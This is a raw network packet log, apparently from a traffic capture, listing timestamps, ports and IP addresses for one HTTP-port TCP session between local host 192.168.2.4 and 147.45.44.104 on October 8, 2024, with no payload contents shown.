Oct 8, 2024 03:30:55.211569071 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.259954929 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.297880888 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.298175097 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.298197985 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.298214912 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.298232079 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.298248053 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.298254013 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.298264980 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.298285961 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.298291922 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.298291922 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.298327923 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.298866034 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.298882961 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.298907995 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.298923969 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.298937082 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.298955917 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.298974037 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.298979044 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.298990011 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299025059 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299024105 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.299041986 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299062014 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299072981 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.299077988 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299096107 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299113035 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.299148083 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.299185038 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299200058 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299215078 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299232006 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299243927 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.299247026 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299263954 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299273014 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.299280882 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299297094 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299312115 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.299326897 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299335003 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.299354076 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299367905 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299381018 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299401999 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.299411058 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299423933 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.299427032 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299444914 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299460888 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299474955 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.299489975 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299510002 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.299516916 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299534082 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299549103 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299561024 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.299565077 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299595118 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299609900 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299612045 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.299627066 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299643040 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299654007 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.299669027 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299674034 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.299683094 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299700022 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299716949 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299720049 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.299736023 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299741030 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.299753904 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299772024 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299786091 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.299802065 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299817085 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299815893 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.299832106 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299860954 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299861908 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.299877882 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299894094 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299906015 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.299909115 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299937963 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.299940109 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299957037 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299977064 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.299988031 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.300021887 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.300259113 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.300396919 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.300410986 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.300437927 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.300450087 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.300457001 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.300467014 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.300483942 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.300497055 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.300518990 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.300523996 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.300540924 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.300558090 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.300574064 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.300579071 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.300601959 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.300604105 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.300617933 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.300633907 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.300651073 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.300651073 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.300668001 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.300685883 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.300708055 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.300710917 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.300728083 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.300743103 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.300760031 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.300767899 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.300803900 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.300981998 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301013947 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301029921 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301057100 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301073074 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301086903 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301103115 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301105022 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.301105022 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.301124096 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301140070 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.301141977 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301158905 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301176071 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301184893 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301204920 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301207066 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.301207066 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.301225901 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.301232100 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301249027 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301255941 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301270962 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301290035 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.301290989 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301311970 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301326990 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301333904 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.301333904 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.301345110 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301352978 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301361084 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301368952 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301378965 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.301436901 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.301436901 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.301532984 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301554918 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301572084 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301588058 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301593065 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.301609039 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301641941 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.301680088 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301697016 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301721096 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301731110 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.301738024 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301753998 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301759005 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.301770926 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301794052 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.301796913 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301815033 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301830053 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301860094 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301862001 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.301877975 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301889896 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.301899910 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301914930 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.301922083 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301937103 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301953077 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301956892 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.301968098 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301985025 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.301987886 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.302004099 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.302018881 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.353832960 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.390778065 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.390799999 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.390815973 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.390830994 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.390849113 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.390865088 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.390882969 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.390899897 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.390997887 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.390997887 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.390999079 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.391235113 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391268015 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391284943 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391300917 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391308069 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.391328096 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391335011 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.391347885 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391371965 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391386986 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.391402006 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391418934 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391436100 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391443014 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.391474009 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.391509056 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391525984 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391540051 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391546011 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391551971 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391567945 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391578913 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391597033 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.391632080 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.391654968 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391669989 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391701937 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.391702890 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391731977 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391748905 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391752005 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.391767979 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391783953 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391794920 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.391802073 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391819000 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391830921 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.391838074 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391855955 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.391860962 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391911983 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.391920090 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391962051 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.391977072 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392014980 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392014980 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.392041922 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392059088 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.392060995 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392076969 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392093897 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392106056 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.392112017 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392129898 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392143965 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.392158031 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392178059 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392178059 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.392194986 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392211914 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392224073 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.392225981 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392242908 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392257929 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.392271042 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392287970 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392291069 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.392304897 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392322063 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392335892 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.392342091 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392369032 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.392388105 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392405987 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392421961 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392431974 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.392438889 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392457962 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392468929 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.392476082 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392502069 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.392571926 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392589092 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392605066 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392621040 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392620087 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.392641068 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392644882 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.392658949 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392678976 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392683983 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.392724037 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392724037 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.392740965 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392755032 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392772913 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392781019 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.392790079 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392815113 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.392853975 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392869949 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392884970 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392901897 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392901897 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.392918110 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392929077 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.392935038 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392952919 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392961979 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.392970085 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392988920 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.392997026 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.393008947 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.393125057 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.393239021 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.393254995 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.393270016 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.393289089 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.393306017 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.393322945 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.393353939 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.393353939 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.393388033 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.393405914 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.393404007 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.393431902 CEST	49730	80	192.168.2.4	147.45.44.104
